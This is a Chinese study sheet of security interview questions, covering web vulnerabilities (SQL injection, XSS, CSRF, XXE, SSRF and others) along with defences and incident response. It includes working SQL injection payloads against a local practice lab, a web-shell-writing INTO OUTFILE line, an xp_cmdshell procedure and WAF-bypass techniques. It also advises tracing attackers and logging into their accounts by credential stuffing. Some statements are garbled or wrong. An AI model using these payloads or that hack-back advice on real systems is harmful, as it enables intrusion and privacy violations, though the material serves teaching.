面试期间大频率出现的问题
1.SQL注入
原理
就是将恶意的SQL语句插入Web表单递交或输入域名,最终达到欺骗服务器执行恶意的SQL语句,没有过滤和筛选。
危害
攻击手段
判断是什么注入类型,有没有过滤关键词,能否绕过,确定存在注入的表的列数以及表中的数据,那些字段可以显示出来,获取数据库版本,用户,当前连接的数据库登录信息,获取数据库中的所有表的信息,获取某个表的列字段信息,获取相应的表的数据。
防御手段
- 使用安全的API
- 对输入的特殊字符进行escape转义处理
- 使用白名单来规范化输入验证方法
- 对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
- 服务器端在提交数据库进行SQL注入查询之前,对特殊字符进行过滤,转义、替换、删除,
类型
分为两大类盲注和非盲注,盲注就是没有报错回显,非盲注就是有报错回显。
按照数据提交方式分类:PSOT注入、GET注入、HTTP头部注入、COOKIE注入
按照执行效果分类:联合注入、报错注入、时间盲注、布尔盲注、宽字节注入、二次注入
数字型、字符型注入判断:
首先在id后面加单引号查看是否可能存在SQL注入,返回正常,不存在;返回不正常,存在
and 1=1正常或错误, 1=2正常或错误,可能存在字符型注入
'and'1'='1不正常,'and'1'='2不正常,可能存在数字型注入
'and'1'='1正常,'and'1'='2不正常,可能存在字符型注入
联合注入
union selec定义,将多个select语句的结果合并到一个结果集合中
SELECT * FROM users WHERE id='1' union select * from users where id='2';
相关函数:
group_concat(参数1、参数2、参数3等等无数个参数)
语法:
group_concat函数返回一个字符串结果(就是返回一行),该结果由括号中的各个参数值执行然后连接组合而成
注入过程:
127.0.0.1/sql/Less-1/?id=1 //返回正常
127.0.0.1/sql/Less-1/?id=1' //返回错误
127.0.0.1/sql/Less-1/?id=1 and 1=1 //返回正常
127.0.0.1/sql/Less-1/?id=1 and 1=2 //返回正常
127.0.0.1/sql/Less-1/?id=1' and 1=1 //返回错误
127.0.0.1/sql/Less-1/?id=1' and 1=2 //返回错误
http://127.0.0.1/sql/Less-1/?id=1' and 1=1 --+ //返回正确
http://127.0.0.1/sql/Less-1/?id=1' and 1=2 --+ //返回错误
由此可见,目标存在SQL注入,并且是字符型,该id变量后面还有其他的SQL语句
测试步骤
使用union select猜测目标SQL查询语句中select后面的字段数量,同时也测出了目标哪些位置的字段可以继续利用
判断方法:
布尔盲注
Web的页面仅仅会返回True和False,布尔盲注就是根据页面返回的True或者False来得到数据库中相关信息
相关函数解析:
substr(str、pos、len):在str中从pos开始的位置(起始位置为1),截取len个字符
注入过程:
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length(database()))=8%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,2,1))) = 101%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,3,1))) = 99%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,4,1))) = 117%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,5,1))) = 114%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,6,1))) = 105%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,7,1))) = 116%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (ascii(substr((select database()) ,8,1))) = 121%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))=5%23
http://127.0.0.1/sql/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) = 117%23
http://127.0.0.1/sql/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1))) = 115%23
http://127.0.0.1/sql/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),3,1))) = 101%23
http://127.0.0.1/sql/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),4,1))) = 114%23
http://127.0.0.1/sql/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),5,1))) = 115%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=117%23
...
第二个字段名称为username
注:substr(参数1,参数2,参数3),参数2中0和1都可表示从第一位字符开始,但这里只可以用1,0不可以,可能和数据库版本有关
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select count(username)from users)=13%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select username from users limit 0,1))=4%23
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68%23
...
最后的值为Dumb
时间注入
思路:
延迟注入,利用sleep()和benchmark()等函数让MySQL的执行时间变长,多与IF(expr1,expr2,expr3)结合使用,然后通过页面的响应时间长短来判断语句返回的值是True还是False,从而猜解一些未知的字段。
相关函数:
if(expr1,expr2,expr3):expr1的值为TRUE,则返回值为expr2;expr1的值返回为FALSE,则返回值为expr3。
宽字节注入:
原理
编码格式的问题,宽字节注入主要是源于设置数据库编码与PHP编码从而导致产生宽字节注入漏洞
当存在宽字节注入的时候,注入参数里代入%df%27,即可把(%5c)吃掉,也就是%df%和%5c结合成了汉字運
- %df:在GBK编码中,该字符表示“兇”,可以用来代替单引号或双引号进行注入。
- %27:在ASCII编码中,该字符表示单引号('),可以用来绕过对单引号的转义和过滤。
- %5c:在ASCII编码中,该字符表示反斜杠(\),可以用来绕过对反斜杠的转义和过滤。
报错注入
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的
相关函数:
updatexml(目标xml文档,xml路径,更新的内容):更新xml文档的函数,xpath_expr:需要更新的xml路径(Xpath格式)
此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为xml_target的新XML片段new_xml,然后返回更改的XML。xml_target替换的部分与Xpath_expr用户提供的XPath表达式匹配。
extractvalue(目标xml文档,xml路径):对XML文档进行查询的函数,一个XML标记片段xml_frag和XPath表达式,xpath_expr(也称定位器);它返回CDATA第一个文本节点的text(),该节点是XPath表达式的匹配的元素的子元素。第一个参数可以传入目标xml文档,第二个参数是用XPath路径表示的查找路径,第二个参数xml中的位置是可操作性的地方,xml文档中查找字符位置使用/xxx/xxxx/xxx/....这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容
floor报错注入
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x%23
堆叠注入
堆叠查询可以执行多条语句,多语句之间以分号隔开。堆叠查询注入就是利用这个特点,在第二个SQL语句中构造自己要执行的语句。
代码分析
使用PDO的方式是进行数据查询,但仍然将参数ID拼接到查询语句,导致PDO没起到预编译的效果,程序仍然存在SQL注入漏洞。
因为PDO只会返回第一条SQL语句执行的结果,所以在第二条语句中可以用Update更新数据或使用时间盲注获取数据
二次注入
二次注入可以理解为,攻击者构造的恶意数据存存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中(比如虽然参数在过滤后会添加“”进行转义,但是“”并不会插入到数据库中),当Web程序调用存储数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次注入分为一下两步
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
卡发着默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出来恶意数据库,没有进行进一步的检验的处理。
2.失效的身份认证和会话管理
通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、秘钥或会话令牌,或者暂时或永久的冒充其他用户的身份。
危害:
防御手段:
1、使用强大的认证和会话管理控制-OWASP的应用安全验证标准
3.敏感数据泄露
原理:
攻击者不是直接攻击密码,而是在传输过程中或从客户端窃取秘钥、发起中间人攻击,或从服务器端窃取明文数据,还有可能有管理员的安全性不高,使用弱密码,被攻击者暴力破解,进入到数据库拿到敏感信息。
危害:
防御手段:
1、对系统处理、存储或传输的数据分类,并根据分类进行访问控制
2、对重要数据进行加密存放,数据在传输过程中使用密文进行传输
4.外部实体XXE
XXE(XML外部实体)漏洞是一种常见的Web应用程序安全漏洞,它允许攻击者利用XML解析器的功能来读取或修改服务器上的文件、执行远程代码或进行其他危险操作。XXE漏洞的主要原理是利用XML解析器的功能,通过在XML文档中引用外部实体来执行攻击。
原理
如果攻击者可以上传XML文档或者在XML文档中添加每一内容,通过易受攻击的代码、依赖项或集成,他们就能够攻击含有缺陷的XML处理器,XXE缺陷可用于提取数据、执行远程服务器请求、扫描内部系统、执行拒绝服务攻击和其它攻击。
攻击
防护手段:
1、尽可能使用简单的数据格式(如:JSON),避免对敏感数据进行序列化
2、进制使用外部实体,例如ibxml_disable_entity_loader(true)
5.失效的访问控制
通过身份验证的用户,可以访问其他用户的相关信息,没有实施恰当的访问权限。攻击者可以利用这个漏洞去查看未授权的功能和数据
危害:
防御手段:
2、使用一次性的访问控制机制,并且在整个应用程序中不断重复用它们
3、建立访问控制模型以加强执行所有权记录,而不是接受用户创建、读取、更新或删除的任何记录
6.安全配置错误
原理:
安全配置错误是比较常见的漏洞,由于操作者的不当配置(默认配置、临时配置、开源云存储、HTTP标头配置、以及包含敏感信息的详细错误),导致攻击者可以利用这些配置获取到更高的权限,安全配置错误可以发生在各个层面,包含平台、web服务器、应用服务器、数据库、构架和代码。
危害:
防御手段:
1、使用的服务不包含任何不必要的功能、组件、文档和示例。移除或不安装不适用的功能和框架
3、在对文件等分配权限时,根据其工作需要采取最小权限原则的方法
7.跨站脚本XSS
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往web页面里插入恶意script代码,当用户浏览该页面时,嵌入其中web里面的script代码会被执行,从而达到恶意攻击用户的目的。
他们区别是存储型XSS会把数据存入数据库当中。而反射型XSS是持久化的。
1、反射型XSS
反射型XSS又称为非持久性XSS,这种攻击方式往往具有一次性。
攻击原理:攻击者向服务器发送一个带有恶意JS代码的请求,服务器会向攻击者返回一个带有JS脚本的页面,攻击者将带有恶意JS脚本的页面发送给目标用户,用户点击后就会出发XSS漏洞,用户点击后就会出发XSS漏洞,从而被盗取cookie值或者被重定向到第三方网站。
2、存储型XSS
存储型XSS又称为持久性XSS,攻击脚本将被永久地存放到目标服务器的数据库或者文件中,具有很高的隐蔽性。
攻击原理:攻击者向服务器发送一个带有恶意JS代码的请求,服务器会先在服务器上存出一份,然后会向攻击者返回一个带有JS脚本的页面页面。此时,当其他用户登录这个网站时,都会被盗取cookie或者被重定向到第三方网站。
3、DOM型XSS
DOM全称Document Object Model,DOM型XSS实际上是一种特殊类型的反射型XSS,它是一种基于DOM文档对象模型的一种漏洞
攻击原理:攻击者向服务器发送一个带有恶意JS代码的请求,服务器的响应不会以任何形式包含攻击者的脚本。当用户浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。
1、盗取各类用户账号,如机器登录账号、用户网银账号、各类管理员账号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
反射型XSS、存储型XSS、DOM型XSS的区别
1、具有隐蔽性,危害性也大,反射型和DOM型都是通过手动去触发的,而存储型则不需要
- 反射型XSS:在搜索框或页面跳转这些地方
- 存储型XSS:一般是留言框,或者用户存储的地方
- DOM型XSS:又叫DOM反射型XSS,但是反射需要网,DOM不要网
XSS漏洞修复
1、服务端过滤用户输入的危险字符(<|>|%|#|\x|'|\)
XSS利用的是用户对指定网站的信任,CSRF利用是网站对用户浏览器的信任
httponly是微软对cookie做的扩展。这个主要是解决用户的cookie可能被盗用的问题。
如果您在cookie中设置了httponly属性,那么通过js脚本将无法读取到cookie信息,这样有效的防止XSS攻击
Javaee代码
response.setHeader("Set-Cookie", "cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
Java代码 php4
header("Set-Cookie: hidden=value; httpOnly");
Java代码 php5
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
8.CSRF和XSS和XXE有什么区别,以及修复方式
1、XSS是跨站脚本攻击,用户提交数据中可以构造代码来执行,从而实现窃取用户信息等攻击。
修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取cookie值、输入时效验、浏览器与web应用端采用相同的字符编码。
2、CSRF是跨站请求伪造,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时是否由用户自愿发起的确认。
修复方式:筛选出需要防范的CSRF的页面然后嵌入Token、再次输入密码、检验Referer
3、XXE是XML外部实体注入攻击,XML中可以通过调用实体请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件的读取。
XSS利用的是用户对指定网站的信任,CSRF利用是网站对用户浏览器的信任
跨站请求伪造CSRF
利用了网站允许攻击者预测特定操作的所有细节这一特点,由于浏览器自动发送会话cookie等认证凭证,导致攻击者能够创建恶意的web页面来伪造请求。这些伪造的请求很难和合法的请求区分开.CSRF通过伪装来自受信任用户的请求来利用受信任的网站。
攻击者盗用你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你的名义发送邮件、发消息,盗用你的账号,甚至于购买商品,虚拟货币转账。
原理:
攻击者通过用户的浏览器来注入额外的网络请求,控制浏览器发送攻击者精心构造器的恶意请求
防护:
验证HTTP头部的Referer(仅响应Referer头带本域的请求)
绕过:
9.代码执行、文件读取、命令执行的函数有哪些?
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
file_get_contents(),highlight_file(),fopen(),read
file(),fread(),fgetss(),fgets(),parse_ini_file(),show_source(),file()等。
system(),exec(),shell_exec(),passthur(),pcntil_exec(),popen(),proc_open()
10.控制一台员工PC,且PC在域控中,可以做什么
1、获取管理员权限:攻击者可以利用已知的漏洞或者使用社会工程学手段,获取管理员权限,从而让控制整个域控制器。
2、窃取敏感信息:攻击者可以利用已知的漏送或者使用钓鱼攻击等方式,窃取域控制器中的敏感信息,如用户名、密码等。
3、植入后门程序:攻击者可以注入后门程序,获取域控制器的控制权,从而进行更深入的攻击。
4、修改域策略:攻击者可以修改域策略,从而获取更高的权限或者窃取敏感信息。
5、欺骗其他主机:攻击者可以伪造域控制器的信任关系,欺骗其他主机,从而获取更高的权限。
11.内网攻击的手段
1、端口扫描:通过扫描内部网络中的主机和端口,获取网络拓补结构和开放的服务,从而发现漏洞。
2、密码破解:通过爆破弱口令或者使用社会工程学手段获取密码,从而登录内部系统。
3、漏洞利用:利用内部系统存在的漏洞,获得更高的权限或者窃取敏感信息。
4、后门植入:通过后门植入程序,获取系统的控制权,从而进行更深的攻击。
5、钓鱼攻击:通过伪造电子邮件、欺骗用户等方式,获取敏感信息。
6、内部网络欺骗:攻击者可以伪造内网IP地址和MAC地址,欺骗内部网络中的其他主机,从而获得更高的权限。
7、提权攻击:通过利用系统漏洞或者使用提权工具,获取更高的权限。
12.给你一个内网IP,告警的内网IP,怎么快速定位到他在哪栋楼哪层
1、找到IP地址所在的子网掩码:通过查看IP地址和子网掩码可以确定这个IP地址所在的子网范围,从而缩小搜索范围。
2、确定IP地址的MAC地址:可以通过ARP请求获取到IP地址对应的MAC地址,然后查找交换机或路由器的ARP缓存表,找到MAC地址对应的端口。
3、确定交换机或路由器的位置:根据找到的交换机或路由器的端口,可以通过查看设备的物理位置和IP地址,确定设备的位置。
4、确定线缆连接位置:如果找到的设备有多个端口,则需要检查哪个端口连接了目标IP地址所在的子网,进而找到线缆的连接位置,,
5、确定线缆的路径:根据线缆的连接位置,可以确定下线缆的路径,从而确定目标IP地址的物理位置,。
13.内网报警的处理方式
- 定位到具体的哪一台机器,既然报警那就说明知道了具体的漏洞类型,加相应的补丁打上
- (以Linux为主)查看/var/log/secure系统日志,查看登录失败的记录,还有Linux历史命令-->home目录的bash_histor查看执行过的命令。
- 利用webshell或者是shell查杀工具查杀,查看tmp目录下是否有带免杀的木马。
- 清除后再到全流量分析的机子上看,是否有经过其他的机器。
- 拿到攻击IP后到线上的一些网站查看主机类型,比如360或微步上,查看是否是傀儡机,VPS跳板,或者是国内个人云主机。
- 如果是个人云主机,就可以通过whois查看是否有最近绑定的域名,或者绑定者的邮箱。
- 知道与邮箱后就可以反查出QQ号是多少,再利用社工查询到手机号。
- 到一个知名的网站上查询这个手机号,有没有注册过什么网站,可以去这些网站通过撞库的方法登录,这样就可以拿到这个攻击者的身份证,学校,地址这些了。(思路是应急响应;加固,溯源)
14.被攻击后日志文件或者木马文件被删除如何排查:
15.几万条告警,怎么快速找到攻击成功的告警,哪些是误报
1、把告警日志数据转为情报数据进行输出分析,主要来自:WAF、IPS、IDS、蜜罐、蜜罐、NTA、EDR、APT、防病毒、堡垒机、态势感知等安全设备。,
2、通过特征规则将无效告警、误报告警过滤掉,剩下的就是待分析告警。
- 无效告警:攻击方通过对目标资产所处的C端进行批量扫描,但C段的资产并非都是【活跃】状态,甚至根本没有这个资产
- 误报告警:把告警中的URL的“网页状态码“、”页面回显数据“作为判断的条件之一。
- 待分析告警:待处理的攻击。
通过提取特征payload,通过攻击特征匹配库关联它属于哪类攻击。在核对资产表看看是否发现攻击。将这个流程脚本化输出,可以排除待分析告警中的那些真实的攻击尝试行为,却又未攻击成功的告警。
4、流量分析是否是误报:分析流量数据包,可以使用wireshark,分析流量是不是正常的业务操作。
16.网站渗透测试从哪方面入手
1、信息收集:通过搜索引擎、whois查询、端口扫描、DNS解析等方式,获取目标网站的基本信息,包括IP地址、域名、服务器类型、操作系统。
2、漏洞扫描:使用专业的漏洞扫描工具,如Nessus、OpenVAS、Nmap等,对目标网站进行扫描,发现可能存在的漏洞。
3、身份认证:尝试使用常见的用户名和密码进行认证登录,或者使用爆破工具对登录接口进行测试,已发现弱密码等问题。
4、注入攻击:对目标网站进行SQL注入、XSS注入等攻击,以获取敏感信息或者控制网站。
5、文件上传:测试文件上传功能是否存在漏洞,可以上传恶意文件并执行代码。
6、社会工程学:通过伪造电子邮件、欺骗用户等方式,获取目标网站的敏感信息
17.SSRF(服务器请求漏洞)
叫做服务端请求伪造攻击,有的大型网站在web应用上提供了从其他服务器获取数据库的功能。是用户指定的URL web应用获取图片,下载文件,读取文件内容。攻击者利用有缺陷的web应用作为代理攻击远程和内网的服务器(跳板)。
1、可对内网,服务器所在的内网,受控制服务器进行端口扫描,获取一些banner
3、攻击内外网web应用,主要是使用get参数就可以实现分攻击。
原理:
服务端提供了从其他服务器应用获取数据的功能、没有对目标地址做过过滤与限制
防护:
过滤返回信息、统一错误信息、限制请求的端口为http常用的端口、黑名单内网IP、禁用不需要的协议
绕过:
提权:
进攻对象:
处理上:
他们都利用浏览器发送数据包,而SSRF是在服务器上执行让服务器偷偷发送数据包
目的
18.文件上传漏洞
由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件,并通过此脚本文件获得了执行服务端命令的能力。
攻击手段:
绕过:
上传成功后怎么看是攻击还是误报
上传成功怎么看位置
防御手段:
19.命令执行漏洞
原理:
1、命令执行(Command Execution)漏洞即黑客可以直接在web应用中执行系统命令,从而获取敏感信息或者拿下shell权
2、命令执行漏洞可能造成的原因是web服务器对用户输入命令安全检测不足,导致恶意代码被执行
3、更常见的命令执行漏洞是发生在各种web组件,包括web容器、web框架、CMS软件、安全组件等。
20.不安全的反序列化
序列化即是把对象转变为字节流,存放在内存、文件数据库中,而反序列化即是把字节流转变为对象。该漏洞的原因出自于如果应对恶意构造的用户输入的数据进行反序列化,这样就会产生非预期的对象,从而有可能产生远程代码执行。或者应用中存在可以在反序列化过程中或者之后被改变行为的类,则攻击者可以通过改变应用逻辑或者实现远程代码执行攻击。我们将其称为对象和数据结构攻击。
危害:
防御手段:
1、最安全的方法是不接受来自不受信源的序列化对象,或使用只允许原始数据类型的序列化媒体
2、反序列化之前,先进行严格的数据类型效验。由于效验规则容易被攻击者探索出来,进而容易被绕过,因此防御不能仅依赖这一个手段,但可以作为完整性效验防御方案的补充
4、对反序列化过程进行详尽的日志记录,监控反序列化过程,在发现疑似反序列化攻击时进行警报
21.不足的日志记录和监控
原理:
攻击者依靠监控的不足和响应的不及时来达成他们的目标而不被知晓。比如日志没有记录登录失败,那么攻击者可能就可以通过暴力破解多次进行登录尝试,但是日志中却没有记录。这就可能让攻击者成功入侵系统并隐匿自己的行踪。这个看似危害不大但却是十分严重的危害,因为一个日志系统不完善的服务器很容易遭受攻击并且在遭受攻击之后无法判断攻击来源,这样就无法做出相应的防御,很可能再次遭受同样的攻击。
防御手段:
1、确保所有登录、访问控制失败、输入验证失败能够被记录到日志中去,并保留足够的用户上下午文信息,以识别可疑或恶意账户,并为后期取证预留足够时间
2、建立有效的监控和告警机制,使可疑活动在可接受的时间内被发现和应对
22.SQL注入如何进行检测?
SQL注入是一种常见的web攻击,攻击者通过web应用程序中插入恶意代码来获取敏感信息或控制数据库服务器。
1、输入验证:对用户输入数据进行有效性验证和过滤,以确保输入的数据不报任何可疑字符。
2、参数化查询:使用参数化查询而不是直接拼接SQL语句,以避免SQL注入攻击。
3、日志记录:记录所有的访问日志和错误日志,并定期审查这些日志,以查找任何异常行为。
4、使用防火墙:使用web应用程序防火墙(WAF)来过滤恶意请求并防止SQL注入攻击。
5、扫描工具:使用自动化扫描工具来检测SQL注入漏洞,并及时修补这些漏洞。
6、安全审计:定期进行安全审计,并测试应用程序的安全性和完整性。
SQL注入加固措施?
SQL注入攻击是一种常见的网络安全问题,可以通过一下几种方法来加固措施:
1、参数化查询:最好的防御SQL注入攻击的方法是使用参数化查询。在参数化查询中,SQL语句中所有的用户输入都被当做参数处理,而不是将其直接拼接到SQL语句中。这样可以有效地防止SQL注入攻击。
2、输入验证:对于用户输入的数据进行验证和过滤,以确保它们符合预期的格式和类型,并且不包含任何恶意代码。例如,可以检查输入是否包含单引号、分号等特殊字符,或者是否超出了预期的长度限制。
3、权限控制:在应用程序中实现适当的权限控制是非常重要的。确保只有经过身份验证并获取必要权限的用户才能够访问敏感数据。
4、字符编码:确保应用程序使用正确的字符编码来处理用户输入数据,以避免任何潜在的编码问题。
5、日志审计:记录和监控数据库活动,包括尝试执行未授权操作或尝试访问未授权数据的行为。这样可以及时发现潜在的SQL注入攻击行为,并采取适当的措施来防范风险。
6、使用ORM框架:ORM框架可以封装SQL语句的构建和执行,从而避免手动编写SQL语句时可能存在的缺陷或漏洞。这样可以简化开发过程,并提高应用程序的安全性
sql字符转义和数字性注入
SQL字符转义是将某些特殊字符(如单引号、双引号、反斜杠等)转义成其他字符串,以避免对SQL语句造成不良影响。例如,在SQL查询中使用单引号括起来的字符串时,如果字符串中包含单引号,则需要使用另一个单引号进行转义。
数字型注入是一种针对web应用程序的攻击技术,攻击者通过在输入字段中注入数字,绕过应用程序的输入验证机制,执行恶意代码或获取敏感信息。为防止这种攻击,开发人员应该对输入值进行有效的验证和过滤,确保只有预期类型的数据被接受并处理
SQL注入产生的原因什么?
SQL注入是一种攻击技术,他利用应用程序没有正确过滤或转义用户输入的数据,导致恶意用户可以向应用程序的后台数据库中插入恶意代码。这通常是因为应用程序没有有效地验证和处理用户输入数据,从而允许攻击者在输入框中输入特定的字符或语句,以绕过应用程序的安全性措施。
例如,如果一个应用程序允许用户在登录时输入用户名和密码,但没有正确地过滤输入的数据,那么攻击者可以尝试在用户名或密码字段中输入SQL查询的一部分,从而绕过身份验证,甚至执行任意的数据库操作。
因此,要防止SQL注入攻击,应用程序需要对所有用户输入进行严格的验证和处理,以确保任何输入的数据都被正确的过滤、转义或编码,从而避免可能导致注入攻击的特殊字符或语句被传递到数据库服务器
如何判断SQL注入是攻击还是误报,是否是攻击成功
先判断是这个IP是否为所管辖的范围,如果是就看看当时人员有没有进行操作,如果没有那它就是攻击,再看payload如果payload是设备无法拦截,也就是可以绕过设备,那么就是攻击,赶紧上报做出相应的处理。
联系现场的运维人员根据资产表确定是哪个服务器或PC受到了攻击
检查web应用程序日志和错误提示,看看是否有异常的SQL语句,以及错误信息
进行代码审计,检查web应用程序的代码是否存在漏洞,例如:没有对输入参数进行充分的过滤和验证。
设备告警上SQL注如无回显怎么判断攻击还是误报
1、检查日志:查看系统日志和数据库日志,以确定是否存在异常的SQL查询和响应。
2、检查网络流量:可以使用网络分析工具,如wireshark,来捕获和分析网络流量,以确定是否存在异常的SQL查询和响应。
3、检查数据库:可以使用数据库管理工具,如phpMyAdmin,来检查数据库中是否存在异常数据或表
4、检查应用程序:可以检查应用程序的代码,以确定是否存在漏洞或不安全的SQL查询
SQL注入怎么修复
- 参数化查询:这种技术可以将用户输入作为参数传递给数据库查询,而不是将其拼接到查询字符串中。通过这种方式,应用程序可以避免恶意用户在输入任何SQL代码。
- 对输入数据进行严格的验证和过滤:需要开发人员仔细检查所有用户输入数据,并确保它们只包含有效的字符和格式。例如:如果一个输入字段只接受数字,则必须验证输入是否仅包含数据,并拒绝包含其他字符的输入。
- 使用安全的编程实践来保护应用程序免受SQL注入攻击。这包括限制应用程序的权限以及使用加密和身份验证等安全措施来保护数据库服务器和应用程序。
SQL注入如何绕过
- 各种编码绕过
- 字符大小写转换绕过
- 空格过滤绕过
- 双写关键字绕过
- 内联注释绕过
- 异常Method绕过
- 超大数据包绕过
- 复参数绕过
- 宽字节绕过
- %00截断
- Cookie/X-Forwarded-For注入绕过
- 冷门函数/字符/运算符绕过
SQL注入特征
- 基于输入参数的攻击:SQL注入攻击是基于web应用程序的输入参数进行的。攻击者通过通过修改输入参数中的某些值来注入恶意SQL语句。
- 错误信息提示:SQL注入攻击可能会导致web应用程序返回错误提示信息。攻击者可以根据这些错误提示信息,获得web应用程序的数据库结构和其他敏感信息。
- 时间延时:攻击者可能会在恶意SQL语句中添加时间延迟语句,以便测试数据库的响应时间,从而获取敏感信息。
- 数据库操作:SQL注入攻击可以让攻击者执行未经授权的数据库操作,如删除、修改、添加数据等。
API环境下SQL注入如何防御
1、输入验证:开发人员需要对所有数据进行有效验证,包括参数、请求体、请求头等。在验证输入时,可以使用正则表达式或白名单过滤等方式来确保输入数据的合法性。
2、参数化查询:在构造SQL查询语句时,需要使用参数化查询方式,而不是直接将输入数据拼接到SQL查询语句中。参数化查询可以使得SQL查询语句与输入数据分类,从而避免SQL注入漏洞的出现。
3、权限控制:开发人员需要对每个用户进行适当的身份认证和授权,以确保只有经过授权的用户才能访问敏感资源。在授权的过程中,还需要对用户所能访问的数据进行限制,例如使用视图或存储过程来限制用户的访问权限。
4、安全审计:检测应用程序的行为并记录日志,以便发生异常情况时进行排查和调试。安全审计可以帮助开发人员及时发现潜在的漏洞和安全问题,并采取相应的措施加以修复。
5、定期更新:定期更新数据库软件及其组件,以确保应用程序使用的数据库软件版本是最新的,从而避免已知漏洞的利用。
总之,在API环境下开发人员需要采取多种措施来保护应用程序的安全,并避免SQL注入攻击的出现。同时,还应该定期进行安全审计和漏洞扫描,并及时发现并修复安全问题。
SQL注入如何写shell
在SQL注入攻击中,如果攻击者成功地注入了一些恶意的SQL代码,则可以利用这些漏洞来执行各种操作,包括编写shell。一下是攻击者可能使用的几种技术:
1、利用union select语句:通过构造一个带有union select语句的SQL查询,攻击者可以在结果集中插入一些命令,并通过这些命令来编写shell,例如在MySQL中可以使用INTO OUTFILE来将结果输出到文件中。
http://example.com/products.php?id=1 UNION SELECT "<?php system($_GET['cmd']); ?>",2 INTO OUTFILE "/var/www/html/shell.php";
2、利用LOAD_FILE函数:如果应用程序允许使用LOAD_FILE函数加载文件,攻击者可以使用该函数来读取并执行任意的本地shell文件。
例如,在MySQL中,攻击者可以使用以下代码来读取并执行一个本地shell脚本
http://example.com/products.php?id=-1' UNION SELECT LOAD_FILE('/path/to/malicious/script.sh'),'',''
3、利用指定数据库的存储过程:攻击者可以使用存储过程来创建和执行恶意的shell脚本,例如在Microsoft SQL server中,可以使用一下代码来创建并执行一个命令解释器:
CREATE PROCEDURE sp_ExecCmd (@cmd varchar(1000))
AS
BEGIN
DECLARE @ret int
EXEC @ret = master..xp_cmdshell @cmd
END
GO
EXEC sp_ExecCmd 'command'
SQL注入遇到waf,怎么绕过
1、使用编码:攻击者可以对注入负载进行编码,例如使用十六进制或Unicode编码等方式,以绕过WAF对字符集的检查。攻击者还可以使用字符串分割、大小写转换等技术手段,以使WAF无法识别恶意代码。
2、使用注入器:SQL注入攻击工具如sqlmap、havij、SQLi-hunter等,可以自动检测和利用各种SQL注入漏洞,并通过绕过WAF来获取敏感数据。
3、盲注:在盲注攻击中,共集资和不直接获取查询结果,而是根据应用程序的响应来判断是否存在漏洞。攻击者可以使用时间延迟或错误信息来判断是否存在漏洞,并以此来判断数据库中的数据。
